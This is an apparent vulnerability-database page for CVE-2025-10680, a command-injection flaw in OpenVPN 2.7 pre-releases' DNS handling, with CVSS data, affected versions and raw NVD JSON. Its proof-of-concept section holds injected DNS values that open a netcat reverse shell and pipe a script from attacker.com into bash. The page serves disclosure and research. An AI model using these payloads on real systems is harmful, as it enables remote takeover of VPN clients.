Security Vulnerability Report
中文
CVE-2025-10680 CVSS 8.8 HIGH

CVE-2025-10680

Published: 2025-10-24 10:15:35
Last Modified: 2026-04-15 00:35:42

Description

OpenVPN 2.7_alpha1 through 2.7_beta1 on POSIX based platforms allows a remote authenticated server to inject shell commands via DNS variables when --dns-updown is in use

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenVPN 2.7_alpha1
OpenVPN 2.7_alpha2
OpenVPN 2.7_alpha3
OpenVPN 2.7_alpha4
OpenVPN 2.7_beta1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-10680 PoC - OpenVPN DNS Command Injection # This PoC demonstrates the command injection vulnerability in OpenVPN's DNS handling # when --dns-updown is enabled # Note: This is for educational and security research purposes only # Attacker would need to control the OpenVPN server to exploit this vulnerability # Simulated malicious DNS configuration that could be sent by a malicious server MALICIOUS_DOMAIN="test.com;nc -e /bin/bash attacker.com 4444 #" MALICIOUS_SEARCH_DOMAIN="test.local;curl http://attacker.com/shell.sh|bash #" # The vulnerable code pattern (simplified representation): # DNS variables are passed directly to shell scripts without sanitization # # In openvpn's dns-updown script execution: # system("update_dns " + dns_variable) # # If dns_variable contains: test.com;nc -e /bin/bash attacker.com 4444 # The command becomes: # update_dns test.com;nc -e /bin/bash attacker.com 4444 # # This results in arbitrary command execution on the client # Example vulnerable shell command construction: VULNERABLE_CMD="update-resolv-conf $MALICIOUS_DOMAIN" echo "Vulnerable command would be: $VULNERABLE_CMD" # This would execute: update-resolv-conf test.com;nc -e /bin/bash attacker.com 4444 # Exploitation requires: # 1. OpenVPN client with --dns-updown enabled # 2. Connection to malicious or compromised OpenVPN server # 3. Server sending crafted DNS responses with shell metacharacters

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10680", "sourceIdentifier": "[email protected]", "published": "2025-10-24T10:15:34.843", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenVPN 2.7_alpha1 through 2.7_beta1 on POSIX based platforms allows a remote authenticated server to inject shell commands via DNS variables when --dns-updown is in use"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://community.openvpn.net/Security%20Announcements/CVE-2025-10680", "source": "[email protected]"}, {"url": "https://www.mail-archive.com/[email protected]/msg00149.html", "source": "[email protected]"}]}}